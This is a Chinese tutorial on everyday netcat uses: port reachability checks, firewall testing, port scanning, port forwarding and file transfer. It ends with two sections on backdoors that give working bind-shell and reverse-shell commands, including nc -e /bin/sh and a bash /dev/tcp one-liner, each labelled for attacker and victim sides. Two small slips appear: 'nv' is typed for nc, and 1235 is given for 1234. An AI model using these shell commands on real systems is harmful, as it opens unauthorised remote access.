几种常用的方式。

测试某个远程主机的监听端口是否可达

两种情况:

  • 端口没有在监听;
  • 在监听,被防火墙阻挡;
nv -nv -w 3 10.18.0.222 80
-w: 设置一个超时
-n: 不解析域名
-v:verbose
如果是udp的话加选项:‘-u’

判断防火墙是否“允许 or 禁止”某个端口

假设你在配置防火墙,禁止了某个端口,现在想判断配置是否生效。
在主机运行:

nc -lv -p 8080

监听这个端口。 从另一台主机连接:

nc 10.10.10.10 8080

如果是udp的话,两边都要加-u选项。

在默认情况下,nc 开启 listen 模式充当服务端,在接受【第一次】客户端连接之后,就会把监听端口关闭。如果你想要让 nc 始终监听模式,使之能【重复】接受客户端发起的连接,可以追加 -k 选项。

做一个简单的端口扫描(也可以作为单个端口的扫描)

nc  -znv 199.19.111.30 1-1024
-z:开启“zero-I/O 模式”。该模式指的是:nc 只判断某个监听端口是否能连上,连上后不与对端进行数据通讯。

说明:优化输出

nc -znv x.x.x.x 1-1024  2>&1 | grep succeeded

上述命令中的 2>&1 用来把【stderr】合并到【stdout】

基于 nc 的端口转发(Port Forward)

  1. 创建命名管道:
    mkfifo nc_pipe

  2. 同时启动两个nc:

nc -l -p 1234 < nc_pipe | nc 127.0.0.1 5678 > nc_pipe

运行上述命令之后,就可以把本机的 1235 端口重定向到本机的 5678 端口。
持续开启用‘-k’选项。

用nc传输文件

在接收端执行:

nc -l -p 8888 > filename

在发送端执行:

nc 10.18.0.1 8888 < filename

用nc命令传输文件相当于直接在裸的tcp层面传输,没有应用层,如果文件大或者数量多,性能优势会很明显。

用nc开启被动连接型后门

在被攻击者端:

nc -l -p 8888 -e /bin/sh

在攻击者端:

nc 10.18.0.1 8888

用nc开启主动连接型后门

服务端客户端对调 在攻击者端:

nc -lkp 8888

在被攻击者端:

nc -e /bin/sh 10.18.0.222 8888

或者:

bash -i >& /dev/tcp/10.18.0.222/8888 0>&1

这条命令连nc都不需要。